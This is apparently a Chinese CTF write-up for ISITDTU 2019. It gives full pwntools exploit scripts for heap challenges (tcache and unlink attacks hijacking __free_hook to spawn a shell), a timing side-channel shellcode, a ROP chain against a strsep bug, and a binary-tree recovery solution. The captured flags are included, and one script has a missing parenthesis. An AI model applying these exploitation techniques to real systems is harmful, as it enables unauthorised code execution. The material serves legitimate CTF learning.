ISITDTU CTF 2019 writeups

不算很难的国际赛,但是比赛的服务器是真的差,题目质量还算可以,就是体验不太好。

题目文件:https://github.com/Ex-Origin/ctf-writeups/tree/master/isitdtu_ctf_2019

pwn

iz_heap_lv1

溢出点

qword_602060长度为20,但是我们使用的长度却是21,所以可以直接使用name控制指针。

.bss:0000000000602060 qword_602060    dq 20 dup(?)            ; DATA XREF: Add+21↑o
.bss:0000000000602060                                         ; Add+B5↑o ...
.bss:0000000000602100 ; char name[256]
.bss:0000000000602100 name            db 100h dup(?)          ; DATA XREF: sub_400CDF+1A↑o

思路

  1. 填满tcache,泄漏libc基地址。
  2. 劫持hook

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''
    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './iz_heap_lv1'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('165.22.110.249', 3333)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so'

# Create temporary files for GDB debugging
try:
    gdbscript = '''

    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def Edit(index, size, data):
    sh.sendlineafter('Choice: \n', '2')
    sh.sendlineafter('Enter index: ', str(index))
    sh.sendlineafter('Enter size: ', str(size))
    sh.sendafter('Enter data: ', data)

def Show(name):
    sh.sendlineafter('Choice: \n', '4')
    if(name):
        sh.sendlineafter('DO you want to edit: (Y/N)', 'Y')
        sh.sendafter('Input name: ', name)
    else:
        sh.sendlineafter('DO you want to edit: (Y/N)', 'N')

name_addr = 0x602100

sh.sendafter('Input name: ', p64(0))

Edit(0, 0x18, '\n')

layout = [
    p64(name_addr + 0x20), p64(0),
    p64(0), p64(0x91), 
    '\0' * 0x80,
    p64(0), p64(0x21), p64(0), p64(0),
    p64(0), p64(0x21), p64(0), p64(0),
]

for i in  range(8):
    Show(flat(layout))
    Edit(20, 0x28, '\n')

Show('b' * 0x28)
sh.recvuntil('b' * 0x28)
result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 0xe0
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - 0x3ebc40
log.success('libc_addr: ' + hex(libc_addr))

layout = [
    p64(name_addr + 0x20), p64(0),
    p64(0), p64(0x21), p64(0), p64(0),
    p64(0), p64(0x21), p64(0), p64(0),
]

Edit(1, 0x58, '\n')

Show(flat(layout))
Edit(20, 0x28, '\n')

Show('b' * 0x20 + p64(libc_addr + libc.symbols['__free_hook']))
Edit(2, 0x18, '/bin/sh\0')
Edit(3, 0x18, p64(libc_addr + libc.symbols['system']))

sh.sendlineafter('Choice: \n', '2')
sh.sendlineafter('Enter index: ', str(2))

sh.sendline('cat /home/iz_heap_lv1/flag')

sh.interactive()
clear()

# ISITDTU{d800dab9684113a5d6c7d2c0381b48c1553068bc}

iz_heap_lv2

溢出点

read_n_off_by_one函数存在off by one

.text:000000000040091E read_n_off_by_one proc near             ; CODE XREF: get_int+28↑p
.text:000000000040091E                                         ; Add+A6↓p ...
.text:000000000040091E
.text:000000000040091E var_C           = dword ptr -0Ch
.text:000000000040091E buf             = qword ptr -8
.text:000000000040091E
.text:000000000040091E ; __unwind {
.text:000000000040091E                 push    rbp
.text:000000000040091F                 mov     rbp, rsp
.text:0000000000400922                 sub     rsp, 10h
.text:0000000000400926                 mov     [rbp+buf], rdi
.text:000000000040092A                 mov     [rbp+var_C], esi
.text:000000000040092D                 mov     eax, [rbp+var_C]
.text:0000000000400930                 movsxd  rdx, eax        ; nbytes
.text:0000000000400933                 mov     rax, [rbp+buf]
.text:0000000000400937                 mov     rsi, rax        ; buf
.text:000000000040093A                 mov     edi, 0          ; fd
.text:000000000040093F                 call    _read
.text:0000000000400944                 cmp     [rbp+var_C], 0
.text:0000000000400948                 jz      short loc_40095A
.text:000000000040094A                 mov     eax, [rbp+var_C]
.text:000000000040094D                 movsxd  rdx, eax
.text:0000000000400950                 mov     rax, [rbp+buf]
.text:0000000000400954                 add     rax, rdx
.text:0000000000400957                 mov     byte ptr [rax], 0
.text:000000000040095A
.text:000000000040095A loc_40095A:                             ; CODE XREF: read_n_off_by_one+2A↑j
.text:000000000040095A                 nop
.text:000000000040095B                 leave
.text:000000000040095C                 retn
.text:000000000040095C ; } // starts at 40091E

思路

  1. unlink
  2. 泄露got.puts计算libc基地址
  3. 控制hook

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''
    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './iz_heap_lv2'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('165.22.110.249', 4444)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')

# Create temporary files for GDB debugging
try:
    gdbscript = '''

    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def Add(size, data):
    sh.sendlineafter('Choice: \n', '1')
    sh.sendlineafter('Enter size: ', str(size))
    sh.sendafter('Enter data: ', data)

def Edit(index, data):
    sh.sendlineafter('Choice: \n', '2')
    sh.sendlineafter('Enter index: ', str(index))
    sh.sendafter('Enter data: ', data)

def Delete(index):
    sh.sendlineafter('Choice: \n', '3')
    sh.sendlineafter('Enter index: ', str(index))

def Show(index):
    sh.sendlineafter('Choice: \n', '4')
    sh.sendlineafter('Enter index: ', str(index))

ptr_addr = 0x602040

Add(0x20, '\n')
Add(0x20, '\n')

for i in range(8):
    Add(0xf0, '\n')

for i in range(3, 3 + 7):
    Delete(i)

Delete(1)
Add(0x28, p64(0) + p64(0x21) + p64(ptr_addr + 8 - 0x18) + p64(ptr_addr + 8 - 0x10) + p64(0x20))
Delete(2)

Edit(1, 'a' * 0x10 + p64(elf.got['puts']))
Show(0)

sh.recvuntil('Data: ')
result = sh.recvline()[:-1]
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['puts']
log.success('libc_addr: ' + hex(libc_addr))

Edit(1, 'a' * 0x10 + p64(libc_addr + libc.symbols['__free_hook']))
Edit(0, p64(libc_addr + libc.symbols['system']))

Add(0xf0, '/bin/sh\0')

Delete(2)

sh.sendline('cat /home/iz_heap_lv2/flag')

sh.interactive()
clear()

# ISITDTU{TcAch3_C4ch3_F1LL1Ng_UnL1NKKKKKK_1Z_h34P_LvTw0}

babyshellcode

后面的pwn题都是赛时没做出来的,根据大佬的writeup复现的,感觉后面两道题都不难,最后那一道prisonbreak才是真的难,只能怪自己粗心。

安全防护

ex@Ex:~/isitdtu$ checksec babyshellcode
[*] '/home/ex/isitdtu/babyshellcode'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

分析

这题初始化的时候把基本上所有的系统调用都禁了:

void __cdecl set_seccomp()
{
  __int64 v0; // ST08_8

  v0 = seccomp_init(0LL);
  seccomp_rule_add(v0, 0x7FFF0000LL, 37LL, 0LL);
  seccomp_load(v0);
}

刚开始我也很困惑,以为解法是要绕过seccomp,赛后看了大佬的writeup才知道,原来出题人在.init段里还有一段初始化函数,而且是混淆过的,只有调试才能知道函数的具体行为。比赛的时候根本没注意这个函数。

其函数如下:

babyshellcode

其功能是先用access判断/flag是否可读,然后mmap申请0xcafe000这个固定地址,再openreadflag0xcafe000上。然后读取8个随机字符和flag进行异或。

这题如果没注意到这点,程序在判断/flag是否可读时,就会直接判读失败,从而不会执行后面的代码,所以这里需要我们用心去看汇编。

思路

由于flag只有0x28个字节,所以还有剩余的8个字节就是'\0',那么在和8个随机字符异或时,则结果就相当于赋值了一遍。

虽然我们不能用系统调用了,但我们可以利用延时注入技术,通过三次握手和收到分手包的时间差来逐个判断字符,利用0x28-0x30的值对flag进行异或就能还原flag。

原理就是判断错误直接系统调用从而crash,成功则不停循环。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal
import string

table = string.printable

context.arch = 'amd64'
context.log_level = 'ERROR'
flag = ''

for i in range(0x28):
    for v in table:
        sh = remote('127.0.0.1', 1000)
        shellcode = asm('''
        mov rdi, 3
        mov al, 37
        syscall

        xor eax, eax
        mov al, [0xcafe000 + %d]
        xor ebx, ebx
        mov bl, [0xcafe028 + %d]

        xor al, bl
        sub rax, %d

        loop: 
        test rax, rax
        je loop

        mov al, 0
        syscall
        ''' % (i , i % 8, ord(v)))

        # open('./shell', 'wb').write(shellcode)

        sh.send(shellcode)

        old = time.time()
        try:
            sh.recv()
        except EOFError:
            pass

        sh.close()
        if(time.time() - old > 2):
            flag += v
            print(flag)
            break

运行结果:

x@Ex:~/isitdtu$ python exp.py 
I
IS
ISI
ISIT
ISITD
ISITDT
ISITDTU
ISITDTU{
ISITDTU{y
ISITDTU{y0
ISITDTU{y0u
ISITDTU{y0ur
ISITDTU{y0ur_
ISITDTU{y0ur_s
ISITDTU{y0ur_sh
ISITDTU{y0ur_sh3
ISITDTU{y0ur_sh3l
ISITDTU{y0ur_sh3ll
ISITDTU{y0ur_sh3llc
ISITDTU{y0ur_sh3llc0
ISITDTU{y0ur_sh3llc0d
ISITDTU{y0ur_sh3llc0d3
ISITDTU{y0ur_sh3llc0d3_
ISITDTU{y0ur_sh3llc0d3_S
ISITDTU{y0ur_sh3llc0d3_Sk
ISITDTU{y0ur_sh3llc0d3_Sk!
ISITDTU{y0ur_sh3llc0d3_Sk!L
ISITDTU{y0ur_sh3llc0d3_Sk!LL
ISITDTU{y0ur_sh3llc0d3_Sk!LL_
ISITDTU{y0ur_sh3llc0d3_Sk!LL_s
ISITDTU{y0ur_sh3llc0d3_Sk!LL_s0
ISITDTU{y0ur_sh3llc0d3_Sk!LL_s0_
ISITDTU{y0ur_sh3llc0d3_Sk!LL_s0_g
ISITDTU{y0ur_sh3llc0d3_Sk!LL_s0_g0
ISITDTU{y0ur_sh3llc0d3_Sk!LL_s0_g00
ISITDTU{y0ur_sh3llc0d3_Sk!LL_s0_g000
ISITDTU{y0ur_sh3llc0d3_Sk!LL_s0_g0000
ISITDTU{y0ur_sh3llc0d3_Sk!LL_s0_g00000
ISITDTU{y0ur_sh3llc0d3_Sk!LL_s0_g00000d
ISITDTU{y0ur_sh3llc0d3_Sk!LL_s0_g00000d}
ex@Ex:~/isitdtu$ 

Tokenizer

安全防护

ex@Ex:~/isitdtu$ checksec tokenizer
[*] '/home/ex/isitdtu/tokenizer'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

溢出点

程序先是接受要处理的字符串,然后接受要分割的字符,之后把字符切割开来,分割用的函数是strsep,在strsep函数中,有这样一句话This token is terminated by overwriting the delimiter with a null byte ('\0'),所以该函数会更改原字符串,并且字符串是在栈上处理的,当字符串长度填充为0x400时,则字符串将会和上一层函数保存的rbp相连,这时候我们就能用strsep函数对rbp进行更改。

也就是当字符串填充满时,就会泄露栈地址。

sh.sendline('a' * 0x3f8 + 'b' * 8)

执行后结果如下:

pwndbg> search -s bbbbbbbb stack
[stack]         0x7fff75834dc8 0x6262626262626262 ('bbbbbbbb')
pwndbg> x/4gx 0x7fff75834dc8
0x7fff75834dc8: 0x6262626262626262  0x00007fff75834df0
0x7fff75834dd8: 0x0000000000401382  0x00007fff75834ed0
pwndbg> bt
#0  0x00007f5c1c225081 in __GI___libc_read (fd=0, buf=0x1062280, nbytes=4096) at ../sysdeps/unix/sysv/linux/read.c:27
#1  0x00007f5c1c1a2148 in _IO_new_file_underflow (fp=0x7f5c1c500a00 <_IO_2_1_stdin_>) at fileops.c:531
#2  0x00007f5c1c1a33f2 in __GI__IO_default_uflow (fp=0x7f5c1c500a00 <_IO_2_1_stdin_>) at genops.c:380
#3  0x00007f5c1c5f389d in __gnu_cxx::stdio_sync_filebuf<char, std::char_traits<char> >::underflow() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#4  0x00007f5c1c5b2029 in std::basic_istream<char, std::char_traits<char> >& std::getline<char, std::char_traits<char>, std::allocator<char> >(std::basic_istream<char, std::char_traits<char> >&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&, char) () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6
#5  0x0000000000401315 in ?? ()
#6  0x0000000000401382 in ?? ()
#7  0x00007f5c1c136b97 in __libc_start_main (main=0x40133c, argc=1, argv=0x7fff75834ed8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fff75834ec8) at ../csu/libc-start.c:310
#8  0x000000000040111a in ?? ()

这时候delimiters输入为\xf0的话就能将该[rbp]低位写0。

思路

  1. 为了方便调试,关闭随机化
  2. 构造好payload,泄露libc基地址
  3. 返回main函数
  4. 改写返回地址为system

构造payload的时候,由于strsep函数会被\0截断,所以需要提前将\0替换成delimiters,这样它们就会被strsep函数写为\0,但是我们不能提前知道[rsp]的低位是什么,所以需要进行爆破,概率是1/16

可以把返回main函数(重新开始),换成接受新的payload,但是觉得payload可能不够,所以还是选择返回main比较好点。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''

    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

context.arch = "amd64"
# context.log_level = 'debug'
execve_file = './tokenizer'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    b *0x401388
    b *0x000000000040149b
    b *0x0000000000401499
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

# 0x000000000040149b : pop rdi ; ret
pop_rdi_ret = 0x000000000040149b
# 0x0000000000401499 : pop rsi ; pop r15 ; ret
pop_rsi_r15_ret = 0x0000000000401499

layout = [
    pop_rdi_ret,
    0x404020,
    pop_rsi_r15_ret,
    elf.got['alarm'],
    0x404020,
    0x401080, #

    0x40133c, # main
]

length = len(flat(layout))
log.info('length: ' + str(length))
payload = p64(0x0000000000401016) * int((0x3f8 - length) / 8) + flat(layout) + 'b' * 8
# sh.sendline('a' * 0x3f8 + 'b' * 8)
sh.sendline(payload.replace('\0', '\xe0'))

# pause()
sh.recvuntil('b' * 8)
result = sh.recvline()[:-1]
stack_addr = u64(result.ljust(8, '\0'))
log.success('stack_addr: ' + hex(stack_addr))

if(p64(stack_addr)[0] == '\x20'):
    raise Exception() 

# pause()
sh.sendline(p64(stack_addr)[0])

sh.recvuntil('b' * 8 + '\n')
sh.recvline()
result = sh.recvuntil('W')[:-1]
print hexdump(result)
libc_addr = u64(result.ljust(8, '\0')) - libc.symbols['alarm']
log.success('libc_addr: ' + hex(libc_addr))

layout = [
    pop_rdi_ret,
    libc_addr + libc.search('/bin/sh\0').next(),
    libc_addr + libc.symbols['system'],
]
length = len(flat(layout))
payload = p64(0x0000000000401016) * int((0x3f8 - length) / 8) + flat(layout) + 'c' * 8

# sh.sendline('a' * 0x3f8 + 'b' * 8)
sh.sendline(payload.replace('\0', chr(0xe0 - 0x30)))

sh.sendline(chr(0xe0 - 0x30))

sh.recvuntil('c' * 8)
sh.recvuntil('c' * 8)

sh.interactive()
clear()

运行结果:

ex@Ex:~/isitdtu$ ./exp.sh toke.py 
...
times 10

[+] Starting local process './tokenizer': pid 32021
[*] '/home/ex/isitdtu/tokenizer'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/ex/isitdtu/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] length: 56
[+] stack_addr: 0x7fff1c4a0fe0
00000000  40 f8 bd b9  01 7f                                  │@···│··│
00000006
[+] libc_addr: 0x7f01b9afb000
[*] Switching to interactive mode

\x0fJ\x1c\xff\x7f
$ pwd
/home/ex/isitdtu

RE

Recovery

就是排序二叉树的还原。

import java.util.Arrays;

public class Main {
    public static void main(String[] args) {
        int[] inOrder = { 9, 11, 33, 35, 38, 40, 44, 48, 61, 85, 89, 101, 106, 110, 135, 150, 159, 180, 188, 200, 201, 214, 241, 253, 268, 269, 275, 278, 285, 301, 301, 327, 356, 358, 363, 381, 396, 399, 413, 428, 434, 445, 449, 462, 471, 476, 481, 492, 496, 497, 509, 520, 526, 534, 540, 589, 599, 613, 621, 621+1, 623, 628, 634, 650, 652, 653, 658, 665, 679, 691, 708, 711, 716, 722, 752, 756, 764, 771, 773, 786, 807, 808, 826, 827, 836, 842, 856, 867, 875, 877, 879, 889, 892, 922, 946, 951, 965, 980, 993, 996 };
        int[] postOrder = { 35, 33, 44, 40, 38, 48, 11, 85, 89, 61, 110, 150, 159, 135, 188, 200, 180, 106, 101, 214, 268, 275, 269, 253, 241, 201, 9, 301, 301, 285, 327, 356, 363, 396, 413, 399, 445, 434, 462, 449, 428, 471, 481, 492, 496, 497, 476, 381, 358, 278, 534, 526, 520, 613, 599, 623, 621+1, 621, 589, 540, 628, 650, 653, 652, 665, 691, 679, 711, 756, 752, 722, 716, 807, 786, 773, 771, 826, 808, 827, 764, 856, 875, 867, 842, 836, 708, 879, 892, 889, 922, 877, 951, 946, 658, 980, 996, 993, 965, 634, 509 };
        Node result = recover(inOrder, postOrder);
        preOrder(result);
        System.out.println("over");
    }

    public static Node recover(int[] inOrder, int[] postOrder){
        if(inOrder.length == 1 || postOrder.length == 1) {
            Node nowNode = new Node(postOrder[0]);
            nowNode.left = null;
            nowNode.right = null;
            return nowNode;
        }else if(inOrder.length == 0 || postOrder.length == 0) {
            return null;
        }
        Node nowNode = new Node(postOrder[postOrder.length - 1]);

        int position = -1;
        for (int i = 0; i < inOrder.length; i++){
            if(nowNode.data == inOrder[i]){
                position = i;
            }
        }
        nowNode.left = recover(Arrays.copyOfRange(inOrder, 0, position), Arrays.copyOfRange(postOrder, 0, position));
        nowNode.right = recover(Arrays.copyOfRange(inOrder, position + 1, inOrder.length), Arrays.copyOfRange(postOrder, position, postOrder.length - 1));

        return nowNode;
    }

    public static void preOrder(Node n) {
        if(n == null) {
            return ;
        }
        System.out.print(" " + n.data);
        preOrder(n.left);
        preOrder(n.right);
    }
}

class Node
{
    int data;
    Node left;
    Node right;

    public Node(final int data) {
        this.data = data;
        this.left = null;
        this.right = null;
    }
}

还原之后便能得到答案。

509, 278, 9, 201, 101, 61, 11, 48, 38, 33, 35, 40, 44, 89, 85, 106, 180, 135, 110, 159, 150, 200, 188, 241, 214, 253, 269, 268, 275, 358, 356, 327, 285, 301, 301, 381, 363, 476, 471, 428, 399, 396, 413, 449, 434, 445, 462, 497, 496, 492, 481, 634, 628, 540, 520, 526, 534, 589, 621, 599, 613, 621, 623, 965, 658, 652, 650, 653, 946, 877, 708, 679, 665, 691, 836, 764, 716, 711, 722, 752, 756, 827, 808, 771, 773, 786, 807, 826, 842, 867, 856, 875, 922, 889, 879, 892, 951, 993, 980, 996

FLAG: ISITDTU{509, 278, 9, 201, 101, 61, 11, 48, 38, 33, 35, 40, 44, 89, 85, 106, 180, 135, 110, 159, 150, 200, 188, 241, 214, 253, 269, 268, 275, 358, 356, 327, 285, 301, 301, 381, 363, 476, 471, 428, 399, 396, 413, 449, 434, 445, 462, 497, 496, 492, 481, 634, 628, 540, 520, 526, 534, 589, 621, 599, 613, 621, 623, 965, 658, 652, 650, 653, 946, 877, 708, 679, 665, 691, 836, 764, 716, 711, 722, 752, 756, 827, 808, 771, 773, 786, 807, 826, 842, 867, 856, 875, 922, 889, 879, 892, 951, 993, 980, 996}

说点什么

avatar
  Subscribe  
提醒